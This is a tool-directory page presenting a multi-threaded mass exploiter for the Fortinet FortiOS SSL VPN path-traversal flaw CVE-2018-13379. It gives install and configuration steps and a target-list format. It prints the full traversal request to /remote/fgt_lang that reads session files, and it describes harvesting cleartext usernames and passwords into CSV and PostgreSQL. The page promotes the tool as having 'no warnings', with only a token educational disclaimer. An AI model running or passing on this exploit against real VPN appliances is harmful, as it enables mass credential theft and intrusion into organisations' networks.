Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Multi-threaded-mass-exploiter-CVE-2018-13379-POC — CVE-2018-13379 mass exploiter for Fortinet FortiOS SSL VPN. Extracts credentials instantly, saves to CSV + PostgreSQL. Multi-threaded, no bullshit warnings. | Kitploit
Tools/GitHubGitHub/instructor-admin/multi-threaded-mass-exploiter-cve-2018-13379-poc
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed Teaming
GitHubinstructor-admin/multi-threaded-mass-exploiter-cve-2018-13379-poc

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Multi-threaded-mass-exploiter-CVE-2018-13379-POC

CVE-2018-13379 mass exploiter for Fortinet FortiOS SSL VPN. Extracts credentials instantly, saves to CSV + PostgreSQL. Multi-threaded, no bullshit warnings.

View Repository
123 months agoNot yet reviewed

preview

CVE-2018-13379 — Mass Exploit for Fortinet FortiOS SSL VPN

A tool for mass exploitation of the CVE-2018-13379 (path traversal) vulnerability in Fortinet FortiOS SSL VPN. Allows reading session files and extracting logins and passwords in cleartext.

Features

  • Exploitation of CVE-2018-13379 via the /remote/fgt_lang endpoint
  • Multithreading (20 threads by default)
  • Instant saving of found credentials to CSV and PostgreSQL
  • Dynamic table names in PostgreSQL with a timestamp (fortios_creds_20250120_143052)
  • No warnings - just the results

Installation

root@kitploit:~
git clone https://github.com/Instructor-Admin/Multi-threaded-mass-exploiter-CVE-2018-13379-POC.git
cd Multi-threaded-mass-exploiter-CVE-2018-13379-POC
pip3 install requests psycopg2-binary

Configuration

All settings are editable directly in the script - no fiddling with command line arguments lines:

root@kitploit:~
TARGETS_FILE = "targets.txt" # File with targets (ip:port)
CSV_FILE = "fortios_creds.csv" # Output CSV file

PostgreSQL (optional - the script works without a database)

root@kitploit:~
PG_HOST = "127.0.0.1"
PG_PORT = 5432
PG_DB = "fortios_db"
PG_USER = "postgres"
PG_PASSWORD = "password"
THREADS = 20
TIMEOUT = 8

Usage

  1. Create a file targets.txt with targets, one per line:
root@kitploit:~
192.168.1.1:8443
10.0.0.5:10443
172.16.0.1:443
  1. Run the script:
root@kitploit:~
python3 exploit.py

Results

  • CSV file — all found credentials with timestamps
  • PostgreSQL table — a new table is created on each run (fortios_creds_YYYYMMDD_HHMMSS)

Example output:

root@kitploit:~
[+] 100 targets loaded. We're running in 20 threads...
[+] LEAKED: 192.168.1.1:8443
→ Pulled 3 credentials
Wrote 3 credentials to CSV
3 credentials entered into the DB
[-] Not leaky: 10.0.0.1:10443

How it works

  1. A GET request is sent to the address https://ip:port/remote/fgt_lang?lang=/../../../..///////////dev/cmdb/sslvpn_websession
  2. The response is checked to see if it contains the string var fgt_lang (a sign of vulnerability)
  3. The username and password pairs are extracted from the binary response
  4. The found data is immediately saved to CSV and PostgreSQL
  5. Script moves to the next target.

Requirements

  • Python 3.6+
  • requests
  • psycopg2-binary (optional - only CSV files work without it)
  • urllib3

Warning

This tool is intended for educational purposes and authorized testing. You are responsible for your own actions.

Acknowledgments

  • Original vulnerability discovered by Meh Chang
  • Exploitation logic is based on publicly available research

License

Unlicense - do whatever you want.

Download Tool